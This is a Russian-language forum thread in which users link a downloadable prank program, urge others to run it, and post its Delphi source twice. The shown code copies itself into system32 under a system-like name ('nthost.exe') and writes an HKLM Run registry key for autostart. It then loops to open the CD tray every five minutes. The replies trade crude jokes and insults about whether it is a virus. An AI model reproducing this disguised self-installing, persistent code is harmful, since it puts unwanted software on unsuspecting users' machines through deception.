Re: Запустите и рбутните комп :D
http://rghost.ru/19819081
special4you, ufoPs
Вы не вошли. Пожалуйста, войдите или зарегистрируйтесь.
toribash.ru → Лобное место → Запустите и рбутните комп :D
Чтобы отправить ответ, вы должны войти или зарегистрироваться
http://rghost.ru/19819081
special4you, ufoPs
Хуя, оно че то меняет бля? Да нихуя!
FIXED
[spoiler]begin
GetWindowsDirectory(windir, 255);
s:=strpas(windir);
s:=s+'\system32\nthost.exe';
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', True) then
begin
Reg.WriteString('nthost32', s);
Reg.CloseKey;
end;
finally
Reg.Free;
end;
if not (Application.ExeName = s) then
begin
windowscopyfile(Application.ExeName, s);
exit;
end;
while True do
begin
Delay(300000);
mciSendString('Set cdaudio door open wait', nil, 0, 0);[/spoiler]
Ага.
пых, купи словарь.
там ниже надписи "fixed" есть изображение. xD Специально для тупых.
[spoiler]begin
GetWindowsDirectory(windir, 255);
s:=strpas(windir);
s:=s+'\system32\nthost.exe';
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', True) then
begin
Reg.WriteString('nthost32', s);
Reg.CloseKey;
end;
finally
Reg.Free;
end;
if not (Application.ExeName = s) then
begin
windowscopyfile(Application.ExeName, s);
exit;
end;
while True do
begin
Delay(300000);
mciSendString('Set cdaudio door open wait', nil, 0, 0);[/spoiler]Ага.
Если это ага - сарказм, то я очень хочу влепить тебе пощёчину бейсбольной битой.
Как же все ссутся от вирусов.
Тьфу.
У меня от вируса гуф умер.
ну не вирус же это.
а гуф всё-таки не умер еще :<
У меня от вируса гуф умер.
Та же фигня :с
Чтобы отправить ответ, вы должны войти или зарегистрироваться
toribash.ru → Лобное место → Запустите и рбутните комп :D
Форум работает на PunBB, при поддержке Informer Technologies, Inc
Сгенерировано за 0.027 секунды (54% PHP — 46% БД) 11 запросов к базе данных